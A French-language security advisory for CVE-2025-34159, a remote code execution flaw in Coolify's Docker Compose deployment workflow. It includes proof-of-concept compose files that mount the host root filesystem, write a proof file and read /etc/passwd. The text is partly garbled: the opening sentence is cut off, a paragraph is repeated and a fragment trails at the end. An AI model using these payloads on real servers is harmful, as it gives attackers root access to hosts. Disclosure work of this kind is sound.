
Une vulnérabilité critique d'exécution de code à distance (RCE) existe dans le flux de travail de déploiement d'applications de Coolify. Cette faille permet à un membre à faibles privilèges d'injecter des directives Docker Compose arbitraires lors de la création ou de la mise à jour de projets. En définissant un service malveillant qui monte le système de fichiers hôte, un attaquant peut obtenir une exécution de commande au niveau racine sur
| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2025-34159 |
| Affecte | Coolify ≤ v4.0.0-beta.420.6 |
| Corrigé dans | v4.0.0-beta.420.7 |
| Sévérité | Critique |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-78 (Injection de commandes OS), CWE-20 (Validation d'entrée incorrecte) |
Une vulnérabilité critique d'exécution de code à distance (RCE) existe dans le workflow de déploiement d'applications de Coolify. Cette faille permet à un membre peu privilégié d'injecter des directives Docker Compose arbitraires lors de la création ou de la mise à jour de projets. En définissant un service malveillant qui monte le système de fichiers hôte, un attaquant peut obtenir une exécution de commande au niveau root sur l'OS hôte, contournant complètement l'isolation des conteneurs.
La vulnérabilité existe dans le workflow de déploiement de projets où les configurations Docker Compose fournies par l'utilisateur sont traitées sans validation ni sandboxing suffisants.
version: '3.8'
services:
poc-host-root:
image: alpine:3.19
tty: true
volumes:
- /:/host:rw
command: >
sh -c "
echo '[*] Proof of RCE on host' &&
echo 'RCE by Eyodav' > /host/tmp/proof_rce.txt &&
whoami &&
id &&
uname -a &&
head -n 5 /host/etc/passwd
"
Résultat : Après le déploiement, /tmp/proof_rce.txt apparaît sur le système hôte, confirmant la RCE avec privilèges root.
version: '3.8'
services:
poc-host-write:
image: alpine:3.19
tty: true
volumes:
- /home/eyodav/PoC:/host
command: >
sh -c "
set -e;
mkdir -p /host &&
echo '[*] Writing PoC file to host mount...' &&
echo RCE_PoC_from_container_$(date) > /host/RCE_PoC.txt &&
cd /host &&
pwd &&
ls -la
"
/tmp/proof_rce.txt) ou en examinant la sortie de commande dans les journaux de déploiement